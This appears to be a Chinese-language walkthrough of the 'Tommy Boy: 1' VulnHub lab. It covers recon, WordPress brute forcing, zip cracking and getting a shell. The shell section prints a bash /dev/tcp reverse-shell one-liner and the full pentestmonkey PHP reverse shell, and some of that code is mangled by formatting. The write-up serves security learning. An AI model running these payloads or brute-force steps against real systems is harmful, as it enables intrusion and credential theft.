打靶日记 Tommy Boy: 1-Walkthrough

admin 2025年5月15日11:13:27评论1 views字数 20871阅读69分34秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 Tommy Boy: 1-Walkthrough
nmap -sS -sV -T5 -p- 192.168.10.30 -A
打靶日记 Tommy Boy: 1-Walkthrough

二、进行目录枚举

dirb http://192.168.10.30

太多了就不列举出来了,大部分都是一个空文件夹

打靶日记 Tommy Boy: 1-Walkthrough
nikto -h http://192.168.10.30
打靶日记 Tommy Boy: 1-Walkthrough

发现robots.txt

打靶日记 Tommy Boy: 1-Walkthrough

三、信息搜集

80端口

打靶日记 Tommy Boy: 1-Walkthrough

查看网页源代码看到注释的信息

打靶日记 Tommy Boy: 1-Walkthrough

这里还给了一个w/password,但是是个空文件夹,还有一个油管的视频,回头再看

https://www.youtube.com/watch?v=VUxOd4CszJ8

<html>
<title>欢迎来到 Callahan Auto</title>
<body>
<H1><center>欢迎来到 Callahan Auto!</center></H1>
<font color="FF3339"><H2>系统错误!</H2></font>
如果您看到此内容,说明 Callahan Auto 客户订购系统已停止运行。请立即恢复备份副本。
<p>
请联系 IT 部门的尼克寻求帮助。
</html><!——尼克的评论:备份副本在大汤姆的主文件夹里——<!——理查德的评论:你能也给我权限吗?只有大汤姆有密码。<!——尼克的评论:是啊是啊,我的处理器一次只能处理一个指令。<!——理查德的评论:拜托,我求求您了。<!——尼克的评论:如果你能让汤姆别再把重要信息存到公司博客里,我就给你设置管理员权限。<!——理查德的评论:成交。博客地址再发一遍?-->
<!——尼克的评论:真的吗?你们这些失败者真是无可救药。我们把它藏在一个以你们俩大吵一架之后注意到的地方命名的文件夹里。你知道的,就是你用木板砸他脑袋的那个地方。如果你们不记得了,这里就是:https://www.youtube.com/watch?v=VUxOd4CszJ8<!——理查德的评论:啊!我怎么忘了?谢谢。

进入前面robots.txt的目录

/6packsofb...soda

目录里有一个图片

打靶日记 Tommy Boy: 1-Walkthrough

你可以把糖果棒放进冰箱里。

/lukeiamyourfather

意思是 “卢克,我是你的父亲” ,它出自电影《星球大战》系列,是达斯・维达对卢克・天行者说出的经典台词 。

但这是我感觉就是我是你爹

目录里的图片

打靶日记 Tommy Boy: 1-Walkthrough

/lookalivelowbridge

尖叫

打靶日记 Tommy Boy: 1-Walkthrough

/flag-numero-uno.txt

第一个flag

Flag data: B34rcl4ws

打靶日记 Tommy Boy: 1-Walkthrough

8008端口

打靶日记 Tommy Boy: 1-Walkthrough

这里得到一个sup3rl33t

这只属于尼克的超级机密内容。如果你从这里开始都不知道该怎么做,那你还不够超级厉害。
现在离开!
只有我和史蒂夫・乔布斯能看这些东西。
哈哈
—— 尼克
dirb http://192.168.10.30:8008/
打靶日记 Tommy Boy: 1-Walkthrough
nikto -h http://192.168.10.30:8008/
打靶日记 Tommy Boy: 1-Walkthrough
dirsearch -u http://192.168.10.30:8008/
打靶日记 Tommy Boy: 1-Walkthrough

没爆出东西来

到这里可以知道有这些用户名

Nick
Richard
Tom
Big Tom
Steve Jobs

四、突破

这里没有什么突破口

现在看看油管的那个视频

https://www.youtube.com/watch?v=VUxOd4CszJ8

得到一个史前森林prehistoricforest

@ajaysingh5936这老哥好评

打靶日记 Tommy Boy: 1-Walkthrough

奈奈的我机子有问题,重新下一个了

打靶日记 Tommy Boy: 1-Walkthrough

重新下的靶机ip为192.168.10.31

现在可以进去了

打靶日记 Tommy Boy: 1-Walkthrough
打靶日记 Tommy Boy: 1-Walkthrough

点击Tom Jr的评论

打靶日记 Tommy Boy: 1-Walkthrough

访问/richard目录,得到一张图片

打靶日记 Tommy Boy: 1-Walkthrough

震惊的理查德

打靶日记 Tommy Boy: 1-Walkthrough

下载到kali,strings查看

打靶日记 Tommy Boy: 1-Walkthrough

得到一串md5加密ce154b5a8e59c89732bc25d6a2e6b90b

解密为spanky

打靶日记 Tommy Boy: 1-Walkthrough

第二个flag

在下面找到Big Tom的评论,点击评论

打靶日记 Tommy Boy: 1-Walkthrough

得到第二个flag

打靶日记 Tommy Boy: 1-Walkthrough

Flag data: Z4l1nsky

打靶日记 Tommy Boy: 1-Walkthrough

wpscan扫描

前面得到的spanky应该是密码

wpscan --url http://192.168.10.31/prehistoricforest/ --enumerate u

得到用户名

打靶日记 Tommy Boy: 1-Walkthrough
tommy
richard
tom
Tom Jr
Big Tom
michelle
wpscan --url http://192.168.10.31/prehistoricforest/ -U user.txt -P passwd.txt --password-attack xmlrpc

没爆出来

打靶日记 Tommy Boy: 1-Walkthrough

在前面还有一个输入密码的地方

打靶日记 Tommy Boy: 1-Walkthrough

登录后可以看到说有一个名为 callahanbak.bak 的备份

打靶日记 Tommy Boy: 1-Walkthrough

评论里说有FTP服务,有Big Tom账户,FTP有15分钟的轮换

打靶日记 Tommy Boy: 1-Walkthrough
打靶日记 Tommy Boy: 1-Walkthrough

得到账户密码nickburns/nickburns

FTP服务

再次端口扫描,发现开启了ftp服务

nmap -sS -sV -T5 -p- 192.168.10.31 -A
打靶日记 Tommy Boy: 1-Walkthrough

登录成功,看到一个readme.txt

打靶日记 Tommy Boy: 1-Walkthrough

下载下来

To my replacement:

If you're reading this, you have the unfortunate job of taking over IT responsibilities
from me here at Callahan Auto.  HAHAHAHAHAAH! SUCKER!  This is the worst job ever!  You'
ll be
surrounded by stupid monkeys all day who can barely hit Ctrl+P and wouldn't know a fax machine
from a flame thrower!

Anyway I'
m not completely without mercy.  There's a subfolder called "NickIzL33t" on this server
somewhere. I used it as my personal dropbox on the company'
s dime for years.  Heh. LOL.
I cleaned it out (no naughty pix for you!) but if you need a place to dump stuff that you want
to look at on your phone later, consider that folder my gift to you.

Oh by the way, Big Tom's a moron and always forgets his passwords and so I made an encrypted
.zip of his passwords and put them in the "NickIzL33t" folder as well.  But guess what?
He always forgets THAT password as well.  Luckily I'
m a nice guy and left him a hint sheet.

Good luck, schmuck!

LOL.

-Nick

致我的继任者:

如果你正在读这段话,那你就倒霉了,得接替我在卡勒汉汽车公司的 IT 职责。哈哈哈哈哈哈!傻瓜!这是世界上最糟糕的工作!你每天都会被一群愚蠢的猴子包围,他们连 Ctrl+P 都按不好,分不清传真机和火焰喷射器!

不管怎样,我并非完全无情。这台服务器上某个地方有个名为“NickIzL33t”的子文件夹,多年来我一直用它作为公司的钱来支付的个人网盘。呵呵。哈哈。
我把里面的东西都清理掉了(没有给你留什么不正经的照片!),但如果你需要一个地方来存放那些你想之后在手机上查看的东西,就把那个文件夹当作我给你的礼物吧。

哦,对了,大汤姆是个笨蛋,总是忘记密码,所以我把他的密码加密成一个.zip 文件,也放在了“NickIzL33t”文件夹里。但你猜怎么着?他连那个密码也总是忘。不过还好,我这人不错,给他留了张提示单。

祝你好运,笨蛋!

哈哈。

这台服务器上某个地方有个名为“NickIzL33t”的子文件夹,多年来我一直用它作为公司的钱来支付的个人网盘

根据这条信息结合8008端口的信息知道,这个文件夹应该就在8008端口了

UA头转换

打靶日记 Tommy Boy: 1-Walkthrough
这只属于尼克的超级机密内容。如果你从这里开始都不知道该怎么做,那你还不够超级厉害。
现在离开!
只有我和史蒂夫・乔布斯能看这些东西。
哈哈
—— 尼克

这里也是看的别的师傅的才知道,这里说只有我和史蒂夫・乔布斯能看这些东西,史蒂夫・乔布斯是苹果的创始人,不用苹果,我不道,这里是用的苹果的UA头,需要UA头转换

使用火狐上的一个插件User-Agent Switcher and Manager

随便选一个版本用

打靶日记 Tommy Boy: 1-Walkthrough
打靶日记 Tommy Boy: 1-Walkthrough
Well, you passed the dummy test
But Nick's secret door isn't that easy to open.
Gotta know the EXACT name of the .html to break into this fortress.
Good luck brainiac.
Lol
 -Nick  

 好吧,你通过了模拟测试
但尼克的秘密之门没那么容易打开。
必须知道.html的确切名称才能闯入这座堡垒。
祝你好运,聪明人。
英雄联盟
-尼克

这里如果使用dirb的话,当dirb尝试一次性加载整个文件时,可能会导致系统内存耗尽

ffuf -u http://192.168.10.31:8008/NickIzL33t/FUZZ.html -w rockyou.txt -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4"

可以看到fallon1的大小不一样

打靶日记 Tommy Boy: 1-Walkthrough

访问fallon1.html

打靶日记 Tommy Boy: 1-Walkthrough
Nice work.  Here are the goodies in Nick's personal super secret dropbox: 

A hint - you'
ll need it 
The third flag - you're not hopeless after all 
Big Tom'
s encrypted pw backups - because that big tub of dumb can never remember them 


干得漂亮。这是尼克个人超级机密的 Dropbox 里的好东西:

提示 - 你会需要它的
第三面旗帜 - 你终究不是毫无希望的
大汤姆加密的密码备份 - 因为那个大笨蛋永远记不住它们
打靶日记 Tommy Boy: 1-Walkthrough
大汤姆,

您的密码库由(没错,您猜对了)一个密码保护!
而且由于您之前设置的密码像“password123”和“brakepad”这样愚蠢至极,我
强制您设置新密码要求……13 个字符,宝贝!哈哈哈哈哈哈!!!

您的密码是您妻子的小名“bev”(注意全是小写)加上以下内容:

* 一个大写字母
* 两个数字
* 两个小写字母
* 一个符号
* 汤米·博伊(Tommy Boy)电影上映的年份

是啊,胖家伙,要按的键确实很多,但你得一次性把它们都输入进去,明白吗? 嘿,“一大块”。一大块地输入一大块的内容。这真有意思。

哈哈

电影上映的年份是1995

打靶日记 Tommy Boy: 1-Walkthrough

crunch

使用 crunch 工具生成一个密码字典文件 pass.txt

crunch 13 13 -t bev,%%@@^1995 > passwd.txt
  • 13 13 生成密码的 最小长度 和 最大长度 均为 13 个字符(固定长度)。

  • -t 指定密码的生成模式(模板),支持占位符替换。

  • bev,%%@@^1995 密码模板,按规则展开。各占位符含义如下:

符号
含义
示例值
%
数字(0-9)
00, 12, 99
@
小写字母(a-z)
aa, xz, cd
,
大写字母(A-Z)
A, B, Z
^
特殊符号(如 !@#$%^&*)
!, $, ^
其他
固定字符
直接保留原字符
  • passwd.txt 将生成的密码保存到文件 passwd.txt 中

第三个flag

Flag data: TinyHead

打靶日记 Tommy Boy: 1-Walkthrough

zip爆破

下载zip文件,解压需要密码

打靶日记 Tommy Boy: 1-Walkthrough
fcrackzip -v -D -p passwd.txt -u t0msp4ssw0rdz.zip

可以加个-v

-v详细模式,显示破解过程中的详细信息(如尝试的密码、进度等)

-D 启用 字典攻击模式,从文件中读取密码进行尝试

-u 严格验证密码,通过实际解压文件内容确认密码正确性(避免误报)。

-p 指定暴力破解的字符集(如 -p aA1! 表示字母+数字+符号)

打靶日记 Tommy Boy: 1-Walkthrough

得到密码bevH00tr$1995

直接解压得到passwords.txt

Sandusky Banking Site
------------------------
Username: BigTommyC
Password: money

TheKnot.com (wedding site)
---------------------------
Username: TomC
Password: wedding

Callahan Auto Server
----------------------------
Username: bigtommysenior
Password: fatguyinalittlecoat

Note: after the "fatguyinalittlecoat" part there are some numbers, but I don't remember what they are.
However, I wrote myself a draft on the company blog with that information.

Callahan Company Blog
----------------------------
Username: bigtom(I think?)
Password: ??? 
Note: Whenever I ask Nick what the password is, he starts singing that famous Queen song.

桑达斯基银行网点------------------------
用户名:BigTommyC
密码:money

TheKnot.com(婚礼网站)---------------------------
用户名:TomC
密码:wedding

卡勒汉汽车服务公司----------------------------
用户名:bigtommysenior
密码:fatguyinalittlecoat

注意:“fatguyinalittlecoat”这部分后面有一些数字,但我记不得是什么了。
不过,我在公司博客上给自己写了一份草稿,上面有那些信息。

卡勒汉公司博客----------------------------
用户名:bigtom(我想是这个?)
密码:???
备注:每次我问尼克密码是什么,他就会开始唱那首著名的皇后乐队的歌。

但是着三个用户在wordpress均登录失败

wpscan爆破

尝试爆破,前面用wpscan扫描出来了一些用户名

tommy
richard
tom
Tom Jr
Big Tom
michelle

压缩包解压得到的密码里基本都有tom,从rockyou中提取出来进行爆破

cat /usr/share/wordlists/rockyou.txt| grep tom > tom_rockyou.txt
wpscan --url http://192.168.10.31/prehistoricforest -e u -P tom_rockyou.txt
打靶日记 Tommy Boy: 1-Walkthrough

爆出来一个tom/tomtom1

登录成功

打靶日记 Tommy Boy: 1-Walkthrough
打靶日记 Tommy Boy: 1-Walkthrough
好的,尼克总是因为我记不住我的“ess ess eight(ache?H?)”密码的第二部分而冲我大喊大叫,所以我把它写在这儿:


1938!!

尼克,如果你看到这条消息,我不在乎我是不是把这东西当密码库用。你把我的便利贴都拿走了,所以我想把密码放在哪儿就放在哪儿。

根据前面的提示说注意:“fatguyinalittlecoat”这部分后面有一些数字,但我记不得是什么了。 不过,我在公司博客上给自己写了一份草稿,上面有那些信息。

bigtommysenior/fatguyinalittlecoat1938!!

五、提权

ssh登录

第四个flag

Flag data: EditButton

打靶日记 Tommy Boy: 1-Walkthrough
YAY!  Flag 4 out of 5!!!! And you should now be able to restore the Callhan Web server to normal
working status.

Flag data: EditButton

But...but...where's flag 5?  

I'
ll make it easy on you.  It's in the root of this server at /5.txt

耶!第 4 面旗帜已获取,共 5 面!现在您应该能够将 Callhan 网络服务器恢复到正常工作状态了。

标志数据:编辑按钮

但是……但是……第五面旗子在哪儿?

我会让你轻松找到的。就在这个服务器的根目录下 /5.txt 这个位置。

第五个flag是在www-data用户下

打靶日记 Tommy Boy: 1-Walkthrough

根据前面提示的备份文件callahanbak.bak查看并没有什么结果,前面提示需要修改为index.html,先进行信息搜集

bigtommysenior@CallahanAutoSrv01:~$ cat callahanbak.bak
<html>
<title>Welcome to Callahan Auto</title>
<body>
<H1><center>Welcome to Callahan Auto!</center></H1>
<font color="0000ff"><H2><center>SYSTEM STATUS: ONLINE</center></H2></font>
<H3>We're happy to be serving all your brakepad needs.</H3>
<p>
<center><img src="ca.jpeg"></center>
<p>
<p>
</html>
<!---->

信息搜集

尝试sudo提权无果

bigtommysenior@CallahanAutoSrv01:/home$ sudo -l
[sudo] password for bigtommysenior: 
Sorry, user bigtommysenior may not run sudo on CallahanAutoSrv01.
bigtommysenior@CallahanAutoSrv01:/home$ find / -perm -4000 -print 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/ubuntu-core-launcher
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/passwd
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/bin/ntfs-3g
bigtommysenior@CallahanAutoSrv01:/home$ uname -a 
Linux CallahanAutoSrv01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
bigtommysenior@CallahanAutoSrv01:/home$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04 LTS
Release:        16.04
Codename:       xenial

进行信息搜集

uname -a 
cat /etc/os-release   # 没有lsb_release -a命令可以使用这个代替
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print 2>/dev/null  # 查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息
ps -aux | grep mysql # 查看mysql是否在后台运行
netstat -tuln # 查看端口信息

但是都没有什么东西,内核提权最后再说

想起来一开始nikto扫到一个wp-config.php

打靶日记 Tommy Boy: 1-Walkthrough
find / -name "wp-config.php" 2>/dev/null
cat /var/www/html/prehistoricforest/wp-config.php

得到mysql的用户密码

wordpressuser/CaptainLimpWrist!!!

打靶日记 Tommy Boy: 1-Walkthrough
bigtommysenior@CallahanAutoSrv01:/$ mysql -u wordpressuser -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or g.
Your MySQL connection id is 83730
Server version: 5.7.13-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or 'h'forhelp. Type 'c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+
2 rows inset (0.00 sec)

mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows inset (0.00 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------------+---------------------------------------------+---------------------+---------------------+-------------+-------------------+
| ID | user_login | user_pass                          | user_nicename | user_email               | user_url                                    | user_registered     | user_activation_key | user_status | display_name      |
+----+------------+------------------------------------+---------------+--------------------------+---------------------------------------------+---------------------+---------------------+-------------+-------------------+
|  1 | richard    | $P$BzW7ZDwxd7THv1D4rTANjGGgzV0XK9/ | richard       | [email protected]  |                                             | 2016-07-06 20:49:04 |                     |           0 | richard           |
|  2 | tom        | $P$BmXAz/a8CaPZDNTraFb/g6kZeTpijK. | tom           | [email protected]      | https://en.wikipedia.org/wiki/Brian_Dennehy | 2016-07-06 20:51:09 |                     |           0 | Big Tom           |
|  3 | tommy      | $P$BCcKbJIQtLuiBOybaQPkkfe1yYJRkn. | tommy         | [email protected]    | http://www.imdb.com/title/tt3910602/        | 2016-07-06 21:17:30 |                     |           0 | Tom Jr.           |
|  4 | michelle   | $P$BIEfXY1Li5aYTokSsi7pBgh0FTlO6k/ | michelle      | [email protected] |                                             | 2016-07-06 22:13:17 |                     |           0 | Michelle Michelle |
+----+------------+------------------------------------+---------------+--------------------------+---------------------------------------------+---------------------+---------------------+-------------+-------------------+
4 rows inset (0.00 sec)

得到四个用户的密码

$P$BzW7ZDwxd7THv1D4rTANjGGgzV0XK9/
$P$BmXAz/a8CaPZDNTraFb/g6kZeTpijK.
$P$BCcKbJIQtLuiBOybaQPkkfe1yYJRkn.
$P$BIEfXY1Li5aYTokSsi7pBgh0FTlO6k/

但是这里也是解不出来

根据前面的提示,需要把callahanbak.bak备份文件复制到 /var/www/html/ 目录中,并且将复制后的文件重命名为 index.html,直接在那个目录修改没有用的,需要这个绝对路径

cp callahanbak.bak /var/www/html/index.html

修改好之后就去访问一下,还是没东西

打靶日记 Tommy Boy: 1-Walkthrough

反弹shell

尝试上传一句话码,80端口太多了,直接去8008端口的

find / -name 'NickIzL33t' 2>/dev/null
打靶日记 Tommy Boy: 1-Walkthrough

发现一个uploads可以上传并且有权限

bigtommysenior@CallahanAutoSrv01:/$ find / -name 'NickIzL33t' 2>/dev/null
/var/thatsg0nnaleaveamark/NickIzL33t
bigtommysenior@CallahanAutoSrv01:/$ cd /var/thatsg0nnaleaveamark/NickIzL33t
bigtommysenior@CallahanAutoSrv01:/var/thatsg0nnaleaveamark/NickIzL33t$ ls
fallon1.html  flagtres.txt  hint.txt  index.html  P4TCH_4D4MS  t0msp4ssw0rdz.zip
bigtommysenior@CallahanAutoSrv01:/var/thatsg0nnaleaveamark/NickIzL33t$ ls -la
total 36
drwxr-xr-x 3 www-data www-data 4096 Jul 17  2016 .
drwxr-xr-x 3 www-data www-data 4096 Jul 14  2016 ..
-rw-r--r-- 1 www-data www-data  459 Jul 15  2016 fallon1.html
-rw-rw-r-- 1 www-data www-data   62 Jul  7  2016 flagtres.txt
-rw-r--r-- 1 www-data www-data  653 Jul  8  2016 hint.txt
-rw-r--r-- 1 www-data www-data  207 Jul 14  2016 .htaccess
-rw-r--r-- 1 www-data www-data  270 Jul 14  2016 index.html
drwxr-xr-x 3 www-data www-data 4096 Jul 15  2016 P4TCH_4D4MS
-rw-rw-r-- 1 www-data www-data  524 Jul  8  2016 t0msp4ssw0rdz.zip
bigtommysenior@CallahanAutoSrv01:/var/thatsg0nnaleaveamark/NickIzL33t$ cd P4TCH_4D4MS
bigtommysenior@CallahanAutoSrv01:/var/thatsg0nnaleaveamark/NickIzL33t/P4TCH_4D4MS$ ls -la
total 28
drwxr-xr-x 3 www-data www-data 4096 Jul 15  2016 .
drwxr-xr-x 3 www-data www-data 4096 Jul 17  2016 ..
-rw-r--r-- 1 root     root     1603 Jul 15  2016 backupload.php
-rw-r--r-- 1 root     root      206 Jul 15  2016 .htaccess
-rw-r--r-- 1 root     root      280 Jul 15  2016 index.html
-rw-r--r-- 1 root     root     1615 Jul 15  2016 upload.php
drwxrwxrwx 2 www-data www-data 4096 Jul 15  2016 uploads

成功上传

echo"<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/6666 0>&1'");?>" > shell.php 
chmod +x shell.php
打靶日记 Tommy Boy: 1-Walkthrough

这里失败了,后面看到别的师傅说是禁用了exec函数,我这里就直接用kali自带的反向shell脚本

vim getshell.php
chmod +x getshell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, thendo not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.10.11';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
                printit("ERROR: Can't fork");
exit(1);
        }

if ($pid) {
exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
exit(1);
        }

$daemon = 1;
else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip$port$errno$errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe""r"),  // stdin is a pipe that the child will read from
   1 => array("pipe""w"),  // stdout is a pipe that the child will write to
   2 => array("pipe""w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell$descriptorspec$pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process'
s STDIN
if (in_array($sock$read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock$chunk_size);
if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process'
s STDERR
        // send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
                fwrite($sock$input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can'
t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print"$stringn";
        }
}

?> 

成功反弹shell,得到www-data用户

打靶日记 Tommy Boy: 1-Walkthrough

第五个flag

Flag data: Buttcrack

$ cat .5.txt
FIFTH FLAG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
YOU DID IT!!!!!!!!!!!!!!!!!!!!!!!!!!!!
OH RICHARD DON'T RUN AWAY FROM YOUR FEELINGS!!!!!!!!

Flag data: Buttcrack

Ok, so NOW what you do is take the flag data from each flag and blob it into one big chunk.
So for example, if flag 1 data was "hi" and flag 2 data was "there" and flag 3 data was "you"
you would create this blob:

hithereyou

Do this for ALL the flags sequentially, and this password will open the loot.zip in Big Tom'
s
folder and you can call the box PWNED.

第五面旗帜!!!!!!!!!!!!!!!!!!
你做到了!!!!!!!!!!!!!!!!
哦,理查德,别逃避你的感情!!!!!!!!!

旗标数据:肛沟

好的,那么接下来你要做的是将每个标志的数据提取出来,合并成一个大的数据块。
例如,如果标志 1 的数据是“hi”,标志 2 的数据是“there”,标志 3 的数据是“you”,
那么你将创建这样一个数据块:

嗨,你好。

依次对所有旗帜都这样操作,这个密码就能打开“大汤姆”文件夹里的“战利品.zip”,然后你就可以说这个盒子被攻破了。

由此可知前面的zip问价需要5个flag合并起来

Flag data: B34rcl4ws
Flag data: Z4l1nsky
Flag data: TinyHead
Flag data: EditButton
Flag data: Buttcrack
B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack
bigtommysenior@CallahanAutoSrv01:~$ unzip LOOT.ZIP
Archive:  LOOT.ZIP
[LOOT.ZIP] THE-END.txt password: 
  inflating: THE-END.txt             
bigtommysenior@CallahanAutoSrv01:~$ cat THE-END.txt 
YOU CAME.
YOU SAW.
YOU PWNED.

Thanks to you, Tommy and the crew at Callahan Auto will make 5.3 cajillion dollars this year.

GREAT WORK!

I'd love to know that you finished this VM, and/or get your suggestions on how to make the next 
one better.

Please shoot me a note at 7ms @ 7ms.us with subject line "Here comes the meat wagon!"

Or, get in touch with me other ways:

* Twitter: @7MinSec
* IRC (Freenode): #vulnhub (username is braimee)

Lastly, please don'
t forget to check out www.7ms.us and subscribe to the podcast at
bit.ly/7minsec

</shamelessplugs>

Thanks and have a blessed week!

-Brian Johnson
7 Minute Security

你来了。
你看到了。
你征服了。

多亏了你,汤米和卡莱汉汽车公司的员工今年能赚 53 亿多美元。

干得漂亮!

我很想知道您是否完成了这个虚拟机,以及/或者听听您对于如何让下一个虚拟机做得更好的建议。

请在 7ms.us 上给 7ms 发个邮件,主题写“肉车来了!”

或者,通过其他方式与我联系:

* 推特:@7MinSec
* IRC(Freenode):#vulnhub(用户名是 braimee)

最后,请别忘了访问 www.7ms.us 并在 bit.ly/7minsec 订阅我们的播客。

</无耻自夸>

谢谢,愿你度过美好的一周!

- 布莱恩·约翰逊
7 分钟安全

六、总结

这台靶机主要是需要信息搜集,将所有的信息结合,跟着作者走,其中也有一些脑洞的地方,也有很多烟雾弹,有些地方还是卡了很久,下次得将所有的信息列举出来,方便查看,多尝试

思路

